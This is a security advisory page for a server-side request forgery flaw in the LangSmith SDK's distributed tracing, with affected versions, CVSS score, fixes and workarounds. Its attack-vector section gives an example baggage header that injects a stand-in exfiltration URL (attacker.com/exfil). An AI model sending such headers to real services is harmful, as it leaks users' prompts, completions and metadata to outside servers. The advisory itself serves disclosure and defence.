LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection
Summary
The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.
Description
When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.
Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.
Attack Vector
-
Attacker sends an HTTP request to a vulnerable service with a malicious
baggageheader:baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}] -
The service parses the header via
RunTree.from_headers(), storing the attacker's URL -
When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to
https://attacker.com/exfil
Impact
- Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers
- SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services
Affected Use Cases
Applications are vulnerable if they:
- Use
TracingMiddlewareto automatically propagate tracing context - Call
RunTree.from_headers()/RunTree.fromHeaders()with untrusted HTTP headers
Remediation
Update to the patched versions:
- Python:
pip install langsmith>=0.6.3 - JavaScript:
npm install langsmith@>=0.4.6
The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.
Workarounds
If unable to upgrade immediately:
- Strip or validate the
baggageheader before passing tofrom_headers() - Do not use
TracingMiddlewarewith untrusted traffic
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | langsmith | >= 0.3.41, < 0.4.6 | 0.4.6 |
| Python (PyPI) | langsmith | >= 0.4.10, < 0.6.3 | 0.6.3 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N- Debilidad (CWE)
CWE-918- Plataforma
- npm, Python (PyPI)
- Paquete
langsmith- Publicada
- 09.02.2026
- Actualizado
- 11.10.2026 15:17
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-2584 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-v34v-rq6j-cj6p - CC BY 4.0
Historial de vulnerabilidades: langsmith
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 4
- Primera → última
- 02.2026 06.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 2
- Media 2
Divulgaciones por año
- 2026: 4
-
LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.